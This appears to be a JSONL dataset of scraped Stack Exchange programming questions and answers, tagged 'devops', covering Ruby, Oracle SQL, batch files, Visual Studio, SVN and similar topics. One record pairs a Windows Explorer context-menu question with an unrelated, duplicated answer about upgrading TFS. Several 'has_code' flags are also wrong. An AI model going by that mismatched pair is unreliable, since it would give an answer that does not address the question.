"source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.413195"}
{"id": "hf_094c23cce9ca", "question": "<p>In Ruby, given an array in one of the following forms...</p>\n\n<pre><code>[apple, 1, banana, 2]\n[[apple, 1], [banana, 2]]\n</code></pre>\n\n<p>...what is the best way to convert this into a hash in the form of...</p>\n\n<pre><code>{apple =&gt; 1, banana =&gt; 2}\n</code></pre>\n", "question_body": "", "answer": "Simply use\n```\nHash[*array_variable.flatten]\n```\nFor example:\n```\n```\na1 = ['apple', 1, 'banana', 2]\nh1 = Hash[*a1.flatten(1)]\nputs \"h1: #{h1.inspect}\"\n\na2 = [['apple', 1], ['banana', 2]]\nh2 = Hash[*a2.flatten(1)]\nputs \"h2: #{h2.inspect}\"\n```\n```\nUsing\n```\nArray#flatten(1)\n```\nlimits the recursion so\n```\nArray\n```\nkeys and values work as expected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.436545"}
{"id": "hf_45f9cfd7b266", "question": "<p>I'm looking for a good way to perform multi-row inserts into an Oracle 9 database.  The following works in MySQL but doesn't seem to be supported in Oracle.</p>\n\n<pre><code>INSERT INTO TMP_DIM_EXCH_RT \n(EXCH_WH_KEY, \n EXCH_NAT_KEY, \n EXCH_DATE, EXCH_RATE, \n FROM_CURCY_CD, \n TO_CURCY_CD, \n EXCH_EFF_DATE, \n EXCH_EFF_END_DATE, \n EXCH_LAST_UPDATED_DATE) \nVALUES\n    (1, 1, '28-AUG-2008', 109.49, 'USD', 'JPY', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n    (2, 1, '28-AUG-2008', .54, 'USD', 'GBP', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n    (3, 1, '28-AUG-2008', 1.05, 'USD', 'CAD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n    (4, 1, '28-AUG-2008', .68, 'USD', 'EUR', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n    (5, 1, '28-AUG-2008', 1.16, 'USD', 'AUD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008'),\n    (6, 1, '28-AUG-2008', 7.81, 'USD', 'HKD', '28-AUG-2008', '28-AUG-2008', '28-AUG-2008');\n</code></pre>\n", "question_body": "", "answer": "This works in Oracle:\n```\n```\ninsert into pager (PAG_ID,PAG_PARENT,PAG_NAME,PAG_ACTIVE)\n          select 8000,0,'Multi 8000',1 from dual\nunion all select 8001,0,'Multi 8001',1 from dual\n```\n```\nThe thing to remember here is to use the\n```\nfrom dual\n```\nstatement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.460279"}
{"id": "hf_b2989a590495", "question": "<p>When coding web services, how do you structure your return values?  How do you handle error conditions (expected ones and unexpected ones)?  If you are returning something simple like an int, do you just return it, or embed it in a more complex object?  Do all of the web methods within one service return an instance of a single class, or do you create a custom return value class for each method?</p>\n", "question_body": "", "answer": "I like the Request/Response object pattern, where you encapsulate your arguments into a single [Operation]Request class, which has simple public properties on it.\nSomething like AddCustomerRequest, which would return AddCustomerResponse.\nThe response can include information on the success/failure of the operation, any messages that might be used by the UI, possibly the ID of the customer that was added, for example.\nAnother good pattern is to make these all derive from a simple IMessage interface, where your general end-point is something like Process(params IMessage[] messages)...  this way you can pass in multiple operations in the same web request.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.495268"}
{"id": "hf_82d0bf2a2c27", "question": "<p>I have a set of base filenames, for each name 'f' there are exactly two files, 'f.in' and 'f.out'.  I want to write a batch file (in Windows XP) which goes through all the filenames, for each one it should:</p>\n\n<ul>\n<li>Display the base name 'f'</li>\n<li>Perform an action on 'f.in'</li>\n<li>Perform another action on 'f.out'</li>\n</ul>\n\n<p>I don't have any way to list the set of base filenames, other than to search for *.in (or *.out) for example.</p>\n", "question_body": "", "answer": "Easiest way, as I see it, is to use a for loop that calls a second batch file for processing, passing that second file the base name.\nAccording to the for /? help, basename can be extracted using the nifty ~n option. So, the base script would read:\n```\n```\nfor %%f in (*.in) do call process.cmd %%~nf\n```\n```\nThen, in process.cmd, assume that %0 contains the base name and act accordingly. For example:\n```\n```\necho The file is %0\ncopy %0.in %0.out\nren %0.out monkeys_are_cool.txt\n```\n```\nThere might be a better  way to do this in one script, but I've always been a bit hazy on how to pull of multiple commands in a single for loop in a batch file.\nEDIT: That's fantastic! I had somehow missed the page in the docs that showed that you could do multi-line blocks in a FOR loop. I am going to go have to go back and rewrite some batch files now...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.518855"}
{"id": "hf_0d959e5b90ec", "question": "<p>Is there a good way to debug errors in the Visual Studio Designer?</p>\n\n<p>In our project we have tons of UserControls and many complex forms. For the complex ones, the Designer often throws various exceptions which doesn't help much, and I was wondering if there's some nice way to figure out what has gone wrong.</p>\n\n<p>The language is C#, and we're using Visual Studio 2005.</p>\n", "question_body": "", "answer": "Each one is different and they can sometimes be obscure. As a first step, I would do the following:\nUse source control and save often. When a designer error occurs, get a list of all changes to the affected controls that have occurred recently and test each one until you find the culprit\nBe sure to check out the initialization routines of the controls involved. Very often these errors will occur because of some error or bad dependency that is called through the default constructor for a control (an error that may only manifest itself in VS)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.565507"}
{"id": "hf_4e28996d617b", "question": "<p>What .NET namespace or class includes both Context.Handler and Server.Transfer?</p>\n\n<p>I think one may include both and my hunt on MSDN returned null. </p>\n", "question_body": "", "answer": "System.Web.\n```\n```\nHttpContext.Current.Handler\nHttpContext.Current.Request.Server.Transfer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.685675"}
{"id": "hf_0f26b3b19b19", "question": "<p>What is the best way to go about upgrading TFS 2005 to 2008? Also, what about the Team Build scripts (\"Build Types\"), are those compatible with Team Build 2008 or do they need converted/migrated somehow?</p>\n", "question_body": "", "answer": "On this post on\nUpgrading TFS 2005 to 2008\nI mentioned that the SharePoint upgrade to 3.0 was the main difficulty. I thought it was performed as part of the upgrade, but it in fact is a separate upgrade process. You should also install Team Explorer 2008 before installing Visual Studio 2008 Service Pack 1 on developer's machines. If you don't, you have to go back and reinstall the service pack. Also be sure to get the SP1 RTM version, which MS just release in the past week or so. If you have already installed the SP1Beta, then you have to download a special removal tool, run that, then install SP1 RTM. We did not have any custom build types, but we did use a custom build guidance package from Conchango - and it upgraded OK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.708799"}
{"id": "hf_3019cea31a7a", "question": "<p>I can create a menu item in the Windows Explorer context menu by adding keys in the registry to <strong>HKEY_CLASSES_ROOT\\Folder\\shell</strong>.</p>\n\n<p>How can I create submenu items to the just created menu item?</p>\n", "question_body": "", "answer": "On this post on\nUpgrading TFS 2005 to 2008\nI mentioned that the SharePoint upgrade to 3.0 was the main difficulty. I thought it was performed as part of the upgrade, but it in fact is a separate upgrade process. You should also install Team Explorer 2008 before installing Visual Studio 2008 Service Pack 1 on developer's machines. If you don't, you have to go back and reinstall the service pack. Also be sure to get the SP1 RTM version, which MS just release in the past week or so. If you have already installed the SP1Beta, then you have to download a special removal tool, run that, then install SP1 RTM. We did not have any custom build types, but we did use a custom build guidance package from Conchango - and it upgraded OK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.732065"}
{"id": "hf_d70636ca357c", "question": "<p>So, I've read that it is not a good idea to install VS2008 on my test server machine as it changes the run time environment too much.  I've never attempted remote debugging with Visual Studio before, so what is the \"best\" way to get line by line remote debugging of server side web app code.  I'd like to be able to set a breakpoint, attach, and start stepping line by line to verify code flow and, you know, debug and stuff :).</p>\n\n<p>I'm sure most of the answers will pertain to ASP.NET code, and I'm interested in that, but my current code base is actually Classic ASP and ISAPI Extensions, so I care about that a little more.</p>\n\n<p>Also, my test server is running in VMWare, I've noticed in the latest VMWare install it mentioning something about debugging support, but I'm unfamiliar with what that means...anyone using it, what does it do for you?</p>\n", "question_body": "", "answer": "Visual Studio comes with a\nremote debugger\nthat you can run as an exe on your server. It works best if you can run it as the same domain user as your copy of visual studio. You can then do an attach to process from the debugger on your machine to the IIS process on the server and debug as if it was running on your machine. You get more options for .Net debugging, but there's support for older platforms too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.770333"}
{"id": "hf_7aa2ef687088", "question": "<p>I installed TortoiseHg (Mercurial) in my Vista 64-bit and the context menu is not showing up when I right click a file or folder. \nIs there any workaround for this problem?</p>\n", "question_body": "", "answer": "According to the\nTortoiseHg FAQ\nthe context menus will work in 64-bit Vista\nif you start a 32-bit instance of explorer by creating a shortcut\nwith the following settings (as suggested in the answer above):\n```\n```\nTarget: %windir%\\syswow64\\explorer.exe /separate \nStart In: %windir%\\syswow64\\\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.805293"}
{"id": "hf_679f4d49071b", "question": "<p>Is it possible to cache database connections when using PHP like you would in a J2EE container?  If so, how?</p>\n", "question_body": "", "answer": "You cannot instantiate connection pools manually.\nBut you can use the \"built in\" connection pooling with the\nmysql_pconnect\nfunction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.828843"}
{"id": "hf_2c25c6fcd20f", "question": "<p>From a web developer point of view, what changes are expected in the development arena when Google Chrome is released?</p>\n\n<p>Are the developments powerful enough to make another revolution in the web? Will the way we see web programming change?</p>\n\n<p>Or is it just another web browser?</p>\n", "question_body": "", "answer": "I think this is just another web browser. The most impact I expect to be improved Javascript performance, and the usability perspective. The first will benefit developers, especially when using Google Gears. I think the users will benefit the most from an enhanced user experience, the safety features, and ease of use.\nI can only hope other browser vendors (MS) will follow Mozilla and Google to create a faster Javascript implementation, since this is the only thing that can truly impact web development.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.851946"}
{"id": "hf_54328c6ba4b0", "question": "<p>Things like <code>$log$</code> and <code>$version$</code> which add data upon check-in to the file. I'm interested in seeing the other ones and what information they can provide, but I can't get much info unless I know what they are called.</p>\n", "question_body": "", "answer": "Both Subversion and CVS call them\n```\nKeywords\n```\n.\nHave a look in the SVN manual here\n(scroll down to\nsvn:keywords\n) or\nhere for CVS\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.874959"}
{"id": "hf_2160e9f8d3ff", "question": "<p>Is a GUID unique 100% of the time?</p>\n\n<p>Will it stay unique over multiple threads?</p>\n", "question_body": "", "answer": "While each generated GUID is not\nguaranteed to be unique, the total\nnumber of unique keys (2\n128\nor\n3.4×10\n38\n) is so large that the probability of the same number being\ngenerated twice is very small. For\nexample, consider the observable\nuniverse, which contains about 5×10\n22\nstars; every star could then have\n6.8×10\n15\nuniversally unique GUIDs.\nFrom\nWikipedia\n.\nThese are some good articles on how a GUID is made (for .NET) and how you could get the same guid in the right situation.\nhttps://ericlippert.com/2012/04/24/guid-guide-part-one/\nhttps://ericlippert.com/2012/04/30/guid-guide-part-two/\nhttps://ericlippert.com/2012/05/07/guid-guide-part-three/\n​​", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.898408"}
{"id": "hf_cc3275868e41", "question": "<p>Here's my scenario - I have an SSIS job that depends on another prior SSIS job to run. I need to be able to check the first job's status before I kick off the second one. It's not feasible to add the 2nd job into the workflow of the first one, as it is already way too complex. I want to be able to check the first job's status (Failed, Successful, Currently Executing) from the second one's, and use this as a condition to decide whether the second one should run, or wait for a retry. I know this can be done by querying the MSDB database on the SQL Server running the job. I'm wondering of there is an easier way, such as possibly using the WMI Data Reader Task? Anyone had this experience?</p>\n", "question_body": "", "answer": "You may want to create a third package the runs packageA and then packageB.  The third package would only contain two execute package tasks.\nhttp://msdn.microsoft.com/en-us/library/ms137609.aspx\n@Craig\nA status table is an option but you will have to keep monitoring it.\nHere is an article about events in SSIS for you original question.\nhttp://www.databasejournal.com/features/mssql/article.php/3558006", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.933663"}
{"id": "hf_0013336d78b1", "question": "<p>I have an SQL query that takes the following form:</p>\n\n<pre><code>UPDATE foo\nSET flag=true\nWHERE id=?\n</code></pre>\n\n<p>I also have a PHP array which has a list of IDs. What is the best way to accomplish this other than with parsing, as follows, ...</p>\n\n<pre><code>foreach($list as $item){  \n    $querycondition = $querycondition . \" OR \" . $item;  \n}\n</code></pre>\n\n<p>... and using the output in the <code>WHERE</code> clause?</p>\n", "question_body": "", "answer": "You should be able to use the IN clause (assuming your database supports it):\n```\nUPDATE foo\nSET flag=true\nWHERE id in (1, 2, 3, 5, 6)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.957035"}
{"id": "hf_de649e5e56ea", "question": "<p>I have an actionscript file that defines a class that I would like to use inside a Flex application. </p>\n\n<p>I have defined some custom controls in a actionscript file and then import them via the application tag:</p>\n\n<pre>\n<code>\n&lt;mx:Application\n    xmlns:mx=\"http://www.adobe.com/2006/mxml\"\n    xmlns:scorecard=\"com.apterasoftware.scorecard.controls.*\"\n...\n&lt;/mx:Application&gt;\n</code>\n</pre>\n\n<p>but this code is not a flex component, rather it is a library for performing math routines, how do I import this class?</p>\n", "question_body": "", "answer": "You'd need to import the class inside a script tag.\n```\n```\n<mx:Application\n  xmlns:mx=\"http://www.adobe.com/2006/mxml\">\n  <mx:Script>\n    import com.apterasoftware.scorecard.controls.*;\n    // Other imports go here\n\n    // Functions and other code go here\n  </mx:Script>\n\n  <!-- Components and other MXML stuff go here -->\n  <mx:VBox>\n    <!-- Just a sample -->\n  </mx:VBox>\n</mx:Application>\n```\n```\nThen you'll be able to reference that class anywhere else in your script tag.  Depending on how the class is written you may not be able to use binding within the MXML, but you could define your own code to handle that.\nNamespace declarations are only used to import other MXML components.  AS classes are imported using the import statement either within a Script block or another AS file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.026788"}
{"id": "hf_30ea12a08b50", "question": "<p>What data structures would you use to represent a chessboard for a computer chess program?</p>\n", "question_body": "", "answer": "The simple approach is to use an 8x8 integer array. Use 0 for empty squares and assign values for the pieces:\n```\n```\n1 white pawns\n2 white knights\n3 white bishops\n4 white rooks\n5 white queens\n6 white king\n\nBlack pieces use negative values\n-1 black pawn\n-2 black knight\netc\n\n8| -4 -2 -3 -5 -6 -3 -2 -4\n7| -1 -1 -1 -1 -1 -1 -1 -1\n6|  0  0  0  0  0  0  0  0\n5|  0  0  0  0  0  0  0  0\n4|  0  0  0  0  0  0  0  0\n3|  0  0  0  0  0  0  0  0\n2|  1  1  1  1  1  1  1  1 \n1|  4  2  3  5  6  3  2  4\n  -------------------------\n   1  2  3  4  5  6  7  8\n```\n```\nPiece moves can be calculated by using the array indexes. For example the white pawns move by increasing the row index by 1, or by 2 if it's the pawn's first move. So the white pawn on [2][1] could move to [3][1] or [4][1].\nHowever this simple 8x8 array representation of has chessboard has several problems. Most notably when you're moving 'sliding' pieces like rooks, bishops and queens you need to constantly be checking the indexes to see if the piece has moved off the board.\nMost chessprograms today, especially those that run on a 64 bit CPU, use a bitmapped approach to represent a chessboard and generate moves. x88 is an alternate board model for machines without 64 bit CPUs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.062049"}
{"id": "hf_6348591a0f17", "question": "<p>The IE Developer Toolbar is a plugin that can dock or separate from the browser. I understand its much more difficult to do this in IE than in Firefox.</p>\n\n<ul>\n<li>How does one create an IE plugin?</li>\n<li>What languages are available for this task?</li>\n<li>How can I make a Hello World plugin?</li>\n</ul>\n", "question_body": "", "answer": "Here are a few resources that might help you in your quest to create browser helper objects (BHO).\nhttp://petesearch.com/wiki/ (archived)\nhttp://www.hackszine.com/blog/archive/2007/06/howto_port_firefox_extensions.html\nhttp://msdn.microsoft.com/en-us/library/ms182554(VS.80).aspx\nhttp://www.codeplex.com/TeamTestPlugins", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.097052"}
{"id": "hf_5a3f9a29a44d", "question": "<p>I want to use the  MultipleLookupField control in a web page that will run in the context of SharePoint. I was wondering if anyone would help me with an example, which shows step by step how to use the control two display two SPField Collections.</p>\n", "question_body": "", "answer": "I'm not entirely sure I understand your question, especially the bit about displaying two SPField collections. Sorry if this turns out to be the answer to a completely different question!\nAnyway here's a quick demo walkthrough of using the MultipleLookupField in a web part.\nCreate a team site. Add a few tasks to the task list. Also put a document in the Shared Documents library. Create a new column in the Shared Documents library; call it \"Related\", have it be a Lookup into the Title field of the Tasks list, and allow multiple values.\nNow create a web part, do all the usual boilerplate and then add this:\n```\n```\nLabel l;\nMultipleLookupField mlf;\n\nprotected override void CreateChildControls()\n{\n    base.CreateChildControls();\n    SPList list = SPContext.Current.Web.Lists[\"Shared Documents\"];\n    if (list != null && list.Items.Count > 0)\n    {\n        LiteralControl lit = new LiteralControl(\"Associate tasks to \" + \n                             list.Items[0].Name);\n        this.Controls.Add(lit);\n\n        mlf = new MultipleLookupField();\n        mlf.ControlMode = SPControlMode.Edit;\n        mlf.FieldName = \"Related\";\n        mlf.ItemId = list.Items[0].ID;\n        mlf.ListId = list.ID;\n        mlf.ID = \"Related\";\n        this.Controls.Add(mlf);\n\n        Button b = new Button();\n        b.Text = \"Change\";\n        b.Click += new EventHandler(bClick);\n        this.Controls.Add(b);\n\n        l = new Label();\n        this.Controls.Add(l);\n    }\n\n}\n\nvoid bClick(object sender, EventArgs e)\n{\n    l.Text = \"\";\n    foreach (SPFieldLookupValue val in (SPFieldLookupValueCollection)mlf.Value)\n    {\n        l.Text += val.LookupValue.ToString() + \" \";\n    }\n    SPListItem listitem = mlf.List.Items[0];\n    listitem[\"Related\"] = mlf.Value;\n    listitem.Update();\n    mlf.Value = listitem[\"Related\"];\n}\n\nprotected override void OnInit(EventArgs e)\n{\n    base.OnInit(e);\n    EnsureChildControls();\n}\n```\n```\nGranted, this is borderline ridiculous -- everything is hard-coded, there is no error-handling at all, and it serves no useful purpose -- but it's only meant as a quick demo. Now build and deploy this web part and add an instance of it to your team site's homepage; it should allow you to get and set the tasks which are associated with the first document in the library.\nThe strange bit towards the end of the button Click handler, where we read a value from mlf.Value and then write it back again, appears to be required if you want the UI to stay in sync with the actual list values. Try omitting the last line of bClick to see what I mean. This has been driving me nuts for the last hour or so, and I'm hoping another commenter can come up with a better approach...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.132475"}
{"id": "hf_768cb57fcb63", "question": "<p>I was looking at the API documentation for stl vector, and noticed there was no method on the vector class that allowed the removal of an element with a certain value. This seems like a common operation, and it seems odd that there's no built in way to do this.</p>\n", "question_body": "", "answer": "Use the global method std::remove with the begin and end iterator, and then use std::vector.erase to actually remove the elements.\nDocumentation links\nstd::remove\nhttp://www.cppreference.com/cppalgorithm/remove.html\nstd::vector.erase\nhttp://www.cppreference.com/cppvector/erase.html\n```\n```\nstd::vector<int> v;\nv.push_back(1);\nv.push_back(2);\n\n//Vector should contain the elements 1, 2\n\n//Find new end iterator\nstd::vector<int>::iterator newEnd = std::remove(v.begin(), v.end(), 1);\n\n//Erase the \"removed\" elements.\nv.erase(newEnd, v.end());\n\n//Vector should now only contain 2\n```\n```\nThanks to Jim Buck for pointing out my error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.156618"}
{"id": "hf_5e2cd44fa20f", "question": "<p>Windows has a feature that allows an administrator to perform auto-logon whenever it is started. How can this feature be activated?</p>\n", "question_body": "", "answer": "Based on the advice, moved the answer to the answers section:\nThere are tools out there that give you a GUI for setting this easily, but you can also do it relatively easily by editing the registry.\nUnder the following registry key:\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\nAdd the following values:\nDefaultDomainName     String  < domain-name >\nDefaultUserName   String  < username >\nDefaultPassword   String  < password >\nAutoAdminLogon    String  1\nImportant: Using auto-logon is insecure and should, in general, never be used for standard computer configurations. The problem is not only that your computer is accessible to anyone with physical access to it, but also that the password is saved in plain-text in a well known location in your registry. This is usually used for test environments or for special setups. This is even more important to notice if you intend to perform auto-logon as an administrator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.184384"}
{"id": "hf_209c6609c45b", "question": "<p>I'm getting a <strong><code>Connection Busy With Results From Another Command</code></strong> error from a SQLServer Native Client driver when a SSIS package is running. Only when talking to SQLServer 2000. A different part that talks to SQLServer 2005 seems to always run fine. Any thoughts?</p>\n", "question_body": "", "answer": "Microsoft KB article 822668\nis relevant here:\nFIX: \"Connection is busy with results for another command\" error message occurs when you run a linked server query\nSymptoms\nUnder stress conditions, you may receive the following error message when you perform linked server activity:\n```\n```\nServer: Msg 7399, Level 16, State 1, Procedure <storedProcedureName>, Line 18 OLE DB provider 'SQLOLEDB' reported an error. \nOLE/DB Provider 'SQLOLEDB' ::GetSchemaLock returned 0x80004005:\n\nOLE DB provider SQLOLEDB supported the Schema Lock interface, but returned 0x80004005 for GetSchemaLock .]. \nOLE/DB provider returned message: Connection is busy with results for another command \nOLE DB error trace [OLE/DB Provider 'SQLOLEDB' ::CreateSession returned 0x80004005.\n```\n```\nNote\nThe OLE DB source of the error may vary. However, all variations of the error message include the text \"Connection is busy with results for another command\".\nResolution\nTo resolve this problem, obtain the latest service pack for Microsoft SQL Server 2000.\nAs noted there, the problem was first corrected in SQL Server 2000 Service Pack 4.\nThis blog post\nby Mark Meyerovich, a Senior Software Engineer at RDA Corp, also provides some insight (now archived, because the original link went dead):\nSQL Server service pack upgrade\nA quick search on Google turns up the following article (\nhttp://support.microsoft.com/kb/822668\n):\n  FIX: \"Connection is busy with results for another command\" error message occurs when you run a linked server query.\nIt basically implies the issue is a bug and recommends an upgrade to Service Pack 4. We have started out with SQL Server 2000 SP3 and we do have some linked servers in the equation, so we give it a try. After the upgrade to SP4 – same result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.231284"}
{"id": "hf_1b23aec20a80", "question": "<p>I'm trying to boil down the concepts of coupling and cohesion to a concise definition. Can someone give me a short and understandable explanation (shorter than the definitions on Wikipedia <a href=\"http://en.wikipedia.org/wiki/Coupling_%28computer_science%29\" rel=\"noreferrer\">here</a> and <a href=\"http://en.wikipedia.org/wiki/Cohesion_%28computer_science%29\" rel=\"noreferrer\">here</a>)? How do they interact?</p>\n\n<p>Thanks.</p>\n\n<p>Anybody have a good, short example?</p>\n", "question_body": "", "answer": "Coupling - A measure of how much a module (package, class, method) relies on other modules. It is desirable to reduce coupling, or reduce the amount that a given module relies on the other modules of a system.\nCohesion - A measure of how closely related the members (classes, methods, functionality within a method) of a module are to the other members of the same module. It is desirable to increase cohesion as that indicates that a module has a very specific task and does only that task.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.267286"}
{"id": "hf_3486269ee1ac", "question": "<p>In Python one can get a dictionary of all local and global variables in the current scope with the built-in functions <code>locals()</code> and <code>globals()</code>.  Is there some equivalent way of doing this in Javascript?  For instance, I would like to do something like the following:</p>\n\n<pre><code>var foo = function(){ alert('foo'); };\nvar bar = function(){ alert('bar'); };\n\nvar s = 'foo';\nlocals()[s](); // alerts 'foo'\n</code></pre>\n\n<p>Is this at all possible, or should I just be using a local object for the lookup?</p>\n", "question_body": "", "answer": "Well, I don't think that there is something like that in js. You can always use eval instead of locals(). Like this:\n```\n```\neval(s+\"()\");\n```\n```\nYou just have to know that actually function\nfoo\nexists.\nEdit:\nDon't use eval:) Use:\n```\n```\nvar functionName=\"myFunctionName\";\nwindow[functionName]();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.290944"}
{"id": "hf_94cced052f46", "question": "<p>I know how to use tags in subversion. I create a tag every time I get to a release milestone.</p>\n\n<p>What I don't quite understand is how they work. </p>\n\n<p>Is a tag just a copy, made from what ever revision I specify? Or is a tag more like a reference, where internally subversion just says <code>GO TO /trunk/project/ Revision 5</code> or whatever.</p>\n\n<p>The command to create a tag (<code>svn copy</code>) seems to imply that it's a copy, but I've seen other people write that subversion doesn't really copy anything.</p>\n\n<p>Say I dump just the HEAD revision of a repository. I don't care about any history except the tags. Are those tags dumped along with the rest of the Head revision?</p>\n\n<p>Finally, is all this just programming magic that I don't really want to know.</p>\n", "question_body": "", "answer": "Right, a tag is just a copy:\n```\n```\nsvn copy trunk tags/BLAH\n```\n```\nWhen people say SVN doesn't really copy anything, they mean that the repository doesn't need to duplicate the data. It uses something akin to symbolic links to keep track of the copies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:29.314481"}
